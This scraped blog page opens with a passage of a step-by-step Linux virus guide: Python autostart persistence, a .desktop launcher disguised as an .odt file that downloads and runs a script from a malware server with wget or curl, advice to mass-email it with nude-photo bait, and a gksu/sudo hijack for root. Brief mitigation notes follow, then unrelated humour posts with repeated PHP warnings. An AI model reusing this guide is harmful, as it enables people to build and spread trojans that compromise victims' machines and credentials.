  2. Your malware needs the ability to install a launcher for itself so that it is started whenever the user logs in. As mentioned, for Gnome that means creating a launcher description in the ~/.config/autostart folder. For KDE just link to your executable from within the ~/.kde/Autostart directory. To do that the malware code can either just force the issue and copy a launcher or link to itself into both locations (creating any directories along the way if they don’t exist) or it can be a bit smarter and choose the right thing to do based on the desktop environment that it detects.

    For example, to create the shortcut for KDE, all you need to write in Python is:

    import os
    uname = os.getlogin()
    drop_dir = “/home/%s/.kde/Autostart” % uname)
    os.makedirs(drop_dir)
    os.symlink(“/home/%s/.local/.hidden/s.py” % uname, drop_dir+“/s.py”)

    For Gnome the Python script instead needs to write a launcher into the proper directory:

    import os
    relauncher_str = “”"
    [Desktop Entry]
    Type=Application
    Name=Malware
    Exec=python .local/.hidden/s.py
    Icon=system-run
    “”"
    uname = os.getlogin()
    drop_dir = “/home/%s/.config/autostart” % uname
    os.makedirs(drop_dir)
    f = open(drop_dir+”/Malware.desktop”, “w”)
    f.write(relauncher_str)
    f.close()

    Writing these autostart entries is probably some of the first action that your malware should perform.

  3. Now create a desktop launcher file for the installer of the malware, which is different than the launcher we use to restart the malware after a reboot. The desktop launcher for the installer is what we send as attachment in the email to the targeted user. It’s what the user clicks on after they saved it. Try something like this:

    [Desktop Entry]
    Type=Application
    Name=some_text.odt
    Exec=bash -c ‘URL=http://www.my_malware_server.com/s.py ;
    DROP=~/.local/.hidden ;
    mkdir -p $DROP;
    if [ -e /usr/bin/wget ] ;
    then wget $URL -O $DROP/s.py ;
    else curl $URL -o $DROP/s.py ; fi;
    python $DROP/s.py’
    Icon=/usr/share/icons/hicolor/48×48/apps/ooo-writer.png

    Note that we have specified a name that is harmless looking and even chose an icon that makes it look like a normal document (that particular icon is present on both Ubuntu (Gnome) and Kubuntu (KDE) systems, but annoyingly not on Fedora). If you claim to send nude shots in the email, just give it a name that makes it sound like an image (something with .jpg at the end) and chose one of the appropriate standard image icons.

    The Exec line is a bit longer now, because we have to account for the possibility that either wget is installed or curl. For example, Ubuntu
    systems usually have wget, while Fedora comes with curl. So, we pass the appropriate commands to bash in order to check which one is present and then call the correct command to download the malware. I’m not a bash expert, so there might be a much more efficient way to do this. But you get the idea. Also, in that line we are creating a good location for the script ($DROP), which is not immediately obvious. The mkdir command with the -p option will silently create whatever parent directories are necessary. The target directory is in the user’s home, hidden away in some innocent looking local directory and can only be seen when also displaying hidden files. The /tmp directory of course is not a good place for our malware, since it is wiped with each reboot.

    Save this launcher file under the name you specified with the Name line, but add ‘.desktop‘ to the end of the actual file name. So, in our case, you would save the file as ‘some_text.odt.desktop‘. When you place this on your desktop you will see that Gnome or KDE will treat it in a special way, not displaying the ‘.desktop‘ extension. So, the file just appears as ‘some_text.odt‘. Of course, that also means that the mail attachment will have this extension as well. Some users may notice, many others will not.

  4. Attach this file to an email, which prompts the recipient to save and open the attachment. As explained, once it has been saved it will just appear as ‘some_text.odt‘ on the user’s desktop. And with the icon we have chosen in the launcher description it will look quite harmless.

  5. Send this email out to as many email addresses as you can get a hold of.

Voila! A Linux virus in 5 simple steps. Every user that saves and opens the attachment you have sent them will get themselves infected with the malware script of your choice, which is then also restarted whenever the user logs in again.

That was easy, wasn’t it?

Solutions for the problem

The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken serious.

A step that could be taken by the Gnome and KDE developers: Require launchers to have execute permissions. A saved attachment won’t have those. Therefore, even though a syntactically correct and properly named launcher was dropped on the desktop a user can’t just click on it and start it if the execute bit is not set.

Thirdly, stop perpetuating the myth that malware and viruses are only a problem for Windows. Linux is – in principle – vulnerable as well, of course. Even though users don’t operate with root privileges, if they inadvertently execute a bit of malware then a lot of damage and autostart installation can still be done. The simple fact that an executed attachment won’t run as root is NOT a useful protection against much of anything, as we have seen. The fact that attachments are not saved with the execute bit is NOT a sufficient protection either, since modern desktop environments allow you to neatly maneuver around that.

Right now the limited market share of Linux on the desktop offers some protection. The overall better security architecture offers some more protection. But none of that is fool-proof. And with larger Linux deployments in interesting locations – such as government organizations – those installations also become interesting targets for malware authors.

Thunar?

Interestingly, the Thunar file manager under xfce (Xubuntu 8.10) is doing something that Gnome’s and KDE’s file managers are not doing: It will flag the desktop launcher file as potential malware and thus prevent execution via a simple click. This works whether the attachment was saved from within Thunderbird or from within a web-based email system, such as Yahoo Mail. Does anyone know what Thunar specifically does here to come up with the ‘malware’ conclusion?

However, I confirmed that it works with fresh, stock Ubuntu 8.10, Kubuntu 8.10 and Fedora 10 installs. Since this is mostly based on the functionality of Gnome and KDE, I assume that most distributions that utilize those desktops are vulnerable as well.

Bootnote

Some time ago there was a challenge issued to write a virus that would be able to infect a desktop Linux system. The original challenge contained two important caveats, though: Firstly, it should be able to infect the machine of the person who wrote the challenge. Nothing further is known about that machine. For example, we don’t know which desktop he was running. Secondly, the virus should be able to write a file into the /etc directory, to which normally only root has access.

I would content that a Linux virus can be called successful if it is able to infect standard installs of some of the most popular distros. I know that the approach I am suggesting will be able to infect a standard install of Ubuntu, Kubuntu and Fedora, for example.

Secondly, as outlined above, getting root privileges is not necessary to successfully infect a Linux computer. Well, it’s more the account of the user that is infected, isn’t it? However, if we are talking about desktop computers then for the most part there is only going to be a single user. The distinction between infecting the system (as root) or the user account (as the user) is entirely academic at best. Such an infection is in effect the same as saying ‘the machine is infected’. After all, the user is mostly logged in and the malware will run whenever that is the case. Anyway, I contacted the author of this challenge and explained the situation to him. He insists on the original rules laid out in his challenge, though. Fair enough, it’s his challenge and therefore his rules.

So, what if you really want root then?

Appendix: Getting root

Getting root privileges is always considered to be a bit of the holy-grail of compromising another machine. As we have seen, not having it isn’t really preventing you from having yourself a good time with a virus, though. But just for completeness’ sake, let me outline a way for your malware to get root. There might be other ways, but this is what I could come up with for now.

You see, even normal desktop Linux users will occasionally do stuff as root. In the case of Ubuntu, for example, you will use ’sudo’ (or the graphical equivalent gksu) from time to time in order to perform system administration. Maybe to administer users, change the date and time or to install new software. Many items in the System -> Administration menu will prompt you for your password for that reason. By default, the user of a Ubuntu desktop system tends to be in the ‘admin’ group, which in turn is mentioned in /etc/sudoers. Thus, by providing your own password you can perform tasks with root privileges.

So, now how can we take advantage of this? It turns out that the menu items for your Gnome desktop are individually configured somewhere. Maybe we can hack that so that instead of synaptic (the graphical package manager) or any other utility that runs under sudo or gksu) our nice malware is started instead? After the user has provided their password for sudo? But as it turns out, the menu items are defined in a place to which only root has write access. Take a look at /usr/share/applications. In there you find – again – a large number of launcher files. These are defining the various menu items. For example, take a look at synaptic.desktop. You can see there the following line:

Exec=gksu /usr/sbin/synaptic

Yes, so if we could just go ahead and edit that, right? If our malware could go and change that to:

Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics

That would execute our malware with root privileges. Note that we quietly passed the original name of the executable (/usr/sbin/synaptics) to our malware, so that it can start synaptics after it is done permanently giving itself root privileges or doing whatever it wants to do as root. That way the user won’t become suspicious.

But, alas, we can’t edit that file. Out of luck again? Fortunately, no. Gnome is kind enough to see if we might have a local definition of one of those desktop files, which should override the system-wide settings. Those go into ~/.local/share/applications. So, you can simply copy the synaptic.desktop file from /usr/share/applications to ~/.local/share/applications and perform the changes you want on it. Then you just have to sit back and wait for the next time the user starts synaptics and you are in business.

Of course, you don’t have to limit yourself to synaptics. To have a better chance of being executed with root privileges any of the apps in the Administration menu that require gksu are fair game. And frankly, you can probably make similar changes and introduce gksu to many of the menu items in System -> Preferences. As a Ubuntu user you are used to give your password to gksu from time to time. If the user doesn’t pay attention, they won’t even notice that they just were prompted for their password for a utility that never asked for the password before.

And for those users that like to use the shell: Well, in that case the malware can simply mess with your path definition and place a ‘tuned’ version of the ’sudo’ command in your path, which gets executed whenever you type ’sudo’.

As you can see this is not guaranteed to give you root (if the user never uses those programs), but there’s a good chance that you will get it eventually if you are patient.

10 programming quotations


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243
  1. Programmers are in a race with the Universe to create bigger and better idiot-proof programs, while the Universe is trying to create bigger and better idiots. So far the Universe is winning. –Anon
  2. If you lie to the compiler, it will get its revenge. –Henry Spencer
  3. Be careful about using the following code — I’ve only proven that it works, I haven’t tested it. –Donald Knuth
  4. The trouble with the world is that the stupid are cocksure and the intelligent are full of doubt. –Bertrand Russell
  5. The first 90% of the code accounts for the first 90% of the development time. The remaining 10% of the code accounts for the other 90% of the development time. –Tom Cargill
  6. For every complex problem there is an answer that is clear, simple, and wrong. –H L Mencken
  7. The Six Phases of a Project:
  8. - Enthusiasm
    - Disillusionment
    - Panic
    - Search for the Guilty
    - Punishment of the Innocent
    - Praise for non-participants

  9. When you start off by telling those who disagree with you that they are not merely in error but in sin, how much of a dialogue do you expect ?” –Thomas Sowell
  10. Measuring programming progress by lines of code is like measuring aircraft building progress by weight. –Bill Gates
  11. Organizations which design systems are constrained to produce designs which are copies of the communication structures of these organizations. –Conway’s Law

The Evolution of a Programmer


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

High School/Jr.High

  10 PRINT "HELLO WORLD"
  20 END

First year in College

  program Hello(input, output)
    begin
      writeln('Hello World')
    end.

Senior year in College

  (defun hello
    (print
      (cons 'Hello (list 'World))))

New professional

  #include <stdio.h>
  void main(void)
  {
    char *message[] = {"Hello ", "World"};
    int i;

    for(i = 0; i < 2; ++i)
      printf("%s", message[i]);
    printf("\n");
  }

Seasoned professional

  #include <iostream.h>
  #include <string.h>

  class string
  {
  private:
    int size;
    char *ptr;

  string() : size(0), ptr(new char[1]) { ptr[0] = 0; }

    string(const string &s) : size(s.size)
    {
      ptr = new char[size + 1];
      strcpy(ptr, s.ptr);
    }

    ~string()
    {
      delete [] ptr;
    }

    friend ostream &operator <<(ostream &, const string &);
    string &operator=(const char *);
  };

  ostream &operator<<(ostream &stream, const string &s)
  {
    return(stream << s.ptr);
  }

  string &string::operator=(const char *chrs)
  {
    if (this != &chrs)
    {
      delete [] ptr;
     size = strlen(chrs);
      ptr = new char[size + 1];
      strcpy(ptr, chrs);
    }
    return(*this);
  }

  int main()
  {
    string str;

    str = "Hello World";
    cout << str << endl;

    return(0);
  }

Master Programmer

  [
  uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)
  ]
  library LHello
  {
      // bring in the master library
      importlib("actimp.tlb");
      importlib("actexp.tlb");

      // bring in my interfaces
      #include "pshlo.idl"

      [
      uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)
      ]
      cotype THello
   {
   interface IHello;
   interface IPersistFile;
   };
  };

  [
  exe,
  uuid(2573F890-CFEE-101A-9A9F-00AA00342820)
  ]
  module CHelloLib
  {

      // some code related header files
      importheader(<windows.h>);
      importheader(<ole2.h>);
      importheader(<except.hxx>);
      importheader("pshlo.h");
      importheader("shlo.hxx");
      importheader("mycls.hxx");

      // needed typelibs
      importlib("actimp.tlb");
      importlib("actexp.tlb");
      importlib("thlo.tlb");

      [
      uuid(2573F891-CFEE-101A-9A9F-00AA00342820),
      aggregatable
      ]
      coclass CHello
   {
   cotype THello;
   };
  };

  #include "ipfix.hxx"

  extern HANDLE hEvent;

  class CHello : public CHelloBase
  {
  public:
      IPFIX(CLSID_CHello);

      CHello(IUnknown *pUnk);
      ~CHello();

      HRESULT  __stdcall PrintSz(LPWSTR pwszString);

  private:
      static int cObjRef;
  };

  #include <windows.h>
  #include <ole2.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include "thlo.h"
  #include "pshlo.h"
  #include "shlo.hxx"
  #include "mycls.hxx"

  int CHello::cObjRef = 0;

  CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)
  {
      cObjRef++;
      return;
  }

  HRESULT  __stdcall  CHello::PrintSz(LPWSTR pwszString)
  {
      printf("%ws
", pwszString);
      return(ResultFromScode(S_OK));
  }

  CHello::~CHello(void)
  {

  // when the object count goes to zero, stop the server
  cObjRef--;
  if( cObjRef == 0 )
      PulseEvent(hEvent);

  return;
  }

  #include <windows.h>
  #include <ole2.h>
  #include "pshlo.h"
  #include "shlo.hxx"
  #include "mycls.hxx"

  HANDLE hEvent;

   int _cdecl main(
  int argc,
  char * argv[]
  ) {
  ULONG ulRef;
  DWORD dwRegistration;
  CHelloCF *pCF = new CHelloCF();

  hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

  // Initialize the OLE libraries
  CoInitializeEx(NULL, COINIT_MULTITHREADED);

  CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,
      REGCLS_MULTIPLEUSE, &dwRegistration);

  // wait on an event to stop
  WaitForSingleObject(hEvent, INFINITE);

  // revoke and release the class object
  CoRevokeClassObject(dwRegistration);
  ulRef = pCF->Release();

  // Tell OLE we are going away.
  CoUninitialize();

  return(0); }

  extern CLSID CLSID_CHello;
  extern UUID LIBID_CHelloLib;

  CLSID CLSID_CHello = { /* 2573F891-CFEE-101A-9A9F-00AA00342820 */
      0x2573F891,
      0xCFEE,
      0x101A,
      { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
  };

  UUID LIBID_CHelloLib = { /* 2573F890-CFEE-101A-9A9F-00AA00342820 */
      0x2573F890,
      0xCFEE,
      0x101A,
      { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
  };

  #include <windows.h>
  #include <ole2.h>
  #include <stdlib.h>
  #include <string.h>
  #include <stdio.h>
  #include "pshlo.h"
  #include "shlo.hxx"
  #include "clsid.h"

  int _cdecl main(
  int argc,
  char * argv[]
  ) {
  HRESULT  hRslt;
  IHello        *pHello;
  ULONG  ulCnt;
  IMoniker * pmk;
  WCHAR  wcsT[_MAX_PATH];
  WCHAR  wcsPath[2 * _MAX_PATH];

  // get object path
  wcsPath[0] = '\0';
  wcsT[0] = '\0';
  if( argc > 1) {
      mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);
      wcsupr(wcsPath);
      }
  else {
      fprintf(stderr, "Object path must be specified\n");
      return(1);
      }

  // get print string
  if(argc > 2)
      mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);
  else
      wcscpy(wcsT, L"Hello World");

  printf("Linking to object %ws\n", wcsPath);
  printf("Text String %ws\n", wcsT);

  // Initialize the OLE libraries
  hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);

  if(SUCCEEDED(hRslt)) {

      hRslt = CreateFileMoniker(wcsPath, &pmk);
      if(SUCCEEDED(hRslt))
   hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&pHello);

      if(SUCCEEDED(hRslt)) {

   // print a string out
   pHello->PrintSz(wcsT);

   Sleep(2000);
   ulCnt = pHello->Release();
   }
      else
   printf("Failure to connect, status: %lx", hRslt);

      // Tell OLE we are going away.
      CoUninitialize();
      }

  return(0);
  }

Apprentice Hacker

  #!/usr/local/bin/perl
  $msg="Hello, world.\n";
  if ($#ARGV >= 0) {
    while(defined($arg=shift(@ARGV))) {
      $outfilename = $arg;
      open(FILE, ">" . $outfilename) || die "Can't write $arg: $!\n";
      print (FILE $msg);
      close(FILE) || die "Can't close $arg: $!\n";
    }
  } else {
    print ($msg);
  }
  1;

Experienced Hacker

  #include <stdio.h>
  #define S "Hello, World\n"
  main(){exit(printf(S) == strlen(S) ? 0 : 1);}

Seasoned Hacker

  % cc -o a.out ~/src/misc/hw/hw.c
  % a.out

Guru Hacker

  % echo "Hello, world."

New Manager

  10 PRINT "HELLO WORLD"
  20 END

Middle Manager

  mail -s "Hello, world." bob@b12
  Bob, could you please write me a program that prints "Hello, world."?
  I need it by tomorrow.
  ^D

Senior Manager

  % zmail jim
  I need a "Hello, world." program by this afternoon.

Chief Executive

  % letter
  letter: Command not found.
  % mail
  To: ^X ^F ^C
  % help mail
  help: Command not found.
  % damn!
  !: Event unrecognized
  % logout

Sniff Out That Smelly Code


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

As time goes by, things go wrong with any body of code: we get lazy, bad developers contribute code, the original clean architecture gets forgotten, and so forth. Some bad code is easy to spot: it simply “smells” – once you see it, you know it’s bad.

Refactoring this sort of code to remove the smell isn’t often that difficult – and the time taken will be repaid next time you have to make modifications.

The following are my ten worst “odors” in code:

1. Long Functions

Over time functions often get longer and longer – extra functionality is added, edge cases are handled, and so forth. However, long functions are difficult to change, and difficult to understand.

Each function should ideally do exactly one thing: you should be able to sum it up in one sentence (and the method name should be a summary of that sentence).

If you find a function is getting too long, split it into sensible parts. Each part should follow the above rule.

2. Commented-Out Code

Some of these rules are open for debate. Not this one. I’ll go so far as to say that there is never an excuse for commenting out code.

* Are you trying to preserve some sort of history to the code? You should be using source control.
* You’re not sure if the code might be necessary: find out – and don’t commit until you’re sure.
* Perhaps you’re in the process of shotgun-debugging: step away from the code, and work out exactly what’s going on.

3. Copy-Pasted Code

Like commented out code, there’s really no excuse here. Programming IDEs should only support ‘cut’ and ‘paste’ – there’s no need for ‘copy’.

Instead of copying code, refactor it into a method, and call it. Copy-pasting is lazy – period.

4. Handled-but-Really-Unhandled Exceptions

I need to explain here: I’m not suggesting that every function should handle all exceptions that could be thrown. Rather, I think the handling of exceptions falls into two categories:

1. The function can handle a particular exception, and takes some action to correct it.
2. The function cannot handle a particular exception, and does not attempt to catch it.

What I’m referring to is code like this:

void Foo()
{
try
{
// …
}
catch( Exception e )
{
// Throw exception away, or just log it.
}
}

In general, doing nothing with an exception is a mark of bad code. If the function can’t handle it, then it shouldn’t be caught. Alternatively, if it didn’t need to be thrown, then try to amend the throwing code.

(Especially bad is throwing and catching the same exception in a single function. Exceptions should not be used for flow control; in situations like this, the entire function needs to be re-thought).

5. Large Numbers of Parameters

Functions taking large numbers of parameters (say, more than half a dozen) are usually a bad idea, and are generally indicative of either a function trying to do too much, or poor class organisation.

Often a function will grow to accommodate new functionality, and hence grows parameters. Split the function into separate, smaller, simpler functions.

Alternatively, if the function absolutely cannot be split, consider introducing a new class which encapsulates some or all of the original parameters, and passing that class as an indirect parameter.

6. Non-Obvious Names

Variable or function names such as foo or bar, swearwords, names, or otherwise clever or amusing really don’t have a place in professional code. They might make you laugh, but when someone else tries to read your code, they won’t thank you. (And remember – that ‘other’ person reading your supposedly clever code might be yourself in six months’ time).

The use of i,j,k is prrobably a little more open to debate – however their use as loop indices can usually be avoided if your language or libraries support more generic iteration constructs.

7. Deep Nesting

Just as functions shouldn’t be too long, so they shouldn’t be too wide. There’s no hard-and-fast rule, but if your conditionals or loops are nested more than about three deep, you should consider refactoring your code. Either pull the inner parts of the code into separate methods, or pull the complex conditions into functions. A line of code should never exceed approximately seventy characters (the standard editor width).

8. Beacon Comments

Sometimes you don’t even need to smell bad code – the original developer has helpfully pointed it out in the comments! If you see comments like:

// This is hacky…

// TODO: This is bad. FIX IT!

// This code ought to be refactored

…then you know something needs to be done.

9. Narcolepsy

…by which I mean inappropriate sleep() ing. If your code requires an (essentially random) sleep interval to function correctly, it’s likely to fail if the user’s machine is especially old, especially new, or just busy. Try attaching to an event that signals when the situation you want to be in occurs.

Another related smell is relying on the speed of the computer, the speed of video frames, or similar, to achieve a particular timing effect.

10. Helper Classes

This is something I’m guilty of from time to time, and I’m looking for comments as to the best way to avoid it. Helper or utility classes always seem to grow in large bodies of code, usually containing unrelated static methods. These clumps should be analysed and split or moved into classes that have one task.

If Programming languages were cars…


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

With such a large selection of programming languages it can be difficult to choose one for a particular project. Reading the manuals to evaluate the languages is a time consuming process. On the other hand, most people already have a fairly good idea of how various automobiles compare. So in order to assist those trying to choose a language, we have prepared a chart that matches programming languages with comparable automobiles.

Assembler – A Formula I race car. Very fast, but difficult to drive and expensive to maintain.

FORTRAN II – A Model T Ford. Once it was king of the road.

FORTRAN IV – A Model A Ford.

FORTRAN 77 – A six-cylinder Ford Fairlane with standard transmission and no seat belts.

COBOL – A delivery van. It’s bulky and ugly, but it does the work.

BASIC – A second-hand Rambler with a rebuilt engine and patched upholstry. Your dad bought it for you to learn to drive. You’ll ditch the car as soon as you can afford a new one.

PL/I – A Cadillac convertible with automatic transmission, a two- tone paint job, white-wall tires, chrome exhaust pipes, and fuzzy dice hanging in the windshield

C – A black Firebird, the all-macho car. Comes with optional seat belts (lint) and optional fuzz buster (escape to assembler).

ALGOL 60 – An Austin Mini. Boy, that’s a small car.

Pascal – A Volkswagon Beetle. It’s small but sturdy. Was once popular with intellectuals.

Modula II – A Volkswagon Rabbit with a trailer hitch.

ALGOL 68 – An Austin Martin. An impressive car, but not just anyone can drive it.

LISP – An electric car. It’s simple but slow. Seat belts are not available.

PROLOG/LUCID – Prototype concept-cars.

Maple/MACSYMA – All-terrain vehicles.

FORTH – A go-cart.

LOGO – A kiddie’s replica of a Rolls Royce. Comes with a real engine and a working horn.

APL – A double-decker bus. Its takes rows and columns of passengers to the same place all at the same time. But, it drives only in reverse gear, and is instrumented in Greek.

Ada – An army-green Mercedes-Benz staff car. Power steering, power brakes and automatic transmission are all standard. No other colors or options are available. If it’s good enough for the generals, it’s good enough for you. Manufacturing delays due to difficulties reading the design specification are starting to clear up.

By Daniel Solomon & David Rosenblueth, Department of Computer Science, University of Waterloo